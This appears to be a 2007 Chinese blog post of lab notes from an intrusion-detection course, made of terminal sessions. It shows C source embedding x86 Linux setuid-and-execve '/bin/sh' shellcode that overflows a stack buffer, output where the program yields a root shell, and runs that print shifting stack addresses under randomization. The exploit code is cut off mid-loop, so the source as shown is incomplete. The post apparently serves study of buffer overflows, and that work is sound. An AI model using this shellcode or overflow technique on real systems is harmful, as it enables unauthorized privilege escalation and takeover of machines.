分类: C/C++
2007-11-06 17:14:00
wangyao@fisherman:~/Exp/IDS/exp3/temp$ cat vul1.c #include #include #define BUFF_LEN 100 #define NOP 0x90 /* strlen(shellcode) = 53 */ char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ main(int argc,char **argv) { char buff[BUFF_LEN]; char *ptr; int i=0; memcpy(buff,shellcode,strlen(shellcode)); /*将Shellcode补齐为4字节的倍数,保证后面添加的地址能够准确的设置到eip中*/ /*补齐使用的是NOP指令*/ memset(buff+strlen(shellcode),NOP,4-strlen(shellcode)%4); ptr=buff+strlen(shellcode)+4-strlen(shellcode)%4; for(i=0;i } |
wangyao@fisherman:~/Exp/IDS/exp3/temp$ ./vul1 sh-3.1$ whoami wangyao sh-3.1$ |
wangyao@fisherman:~/Exp/IDS/exp3/temp$ ./vul1 sh-3.1# whoami root sh-3.1# |
wangyao@fisherman:~/Exp/IDS/exp3/v2$ cat t_sp.c #include unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } int main() { unsigned long sp; sp = get_sp(); printf("SP: 0x%08x\n",sp); return 0; } |
wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp SP: 0xbf9c9768 wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp SP: 0xbf8555f8 wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp SP: 0xbfe473e8 wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp SP: 0xbfd87b28 wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp SP: 0xbfd16ab8 wangyao@fisherman:~/Exp/IDS/exp3/v2$ ./t_sp SP: 0xbff5bcf8 |
fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff - 0xbf9e86c0 - fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff - 0xbfcd21a0 - fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff - 0xbfa2a700 - fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff - 0xbfc30900 - fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff - 0xbff073d0 - fisherman:/home/wangyao/Exp/IDS/exp3/v2# ./t_buff - 0xbff36c00 - |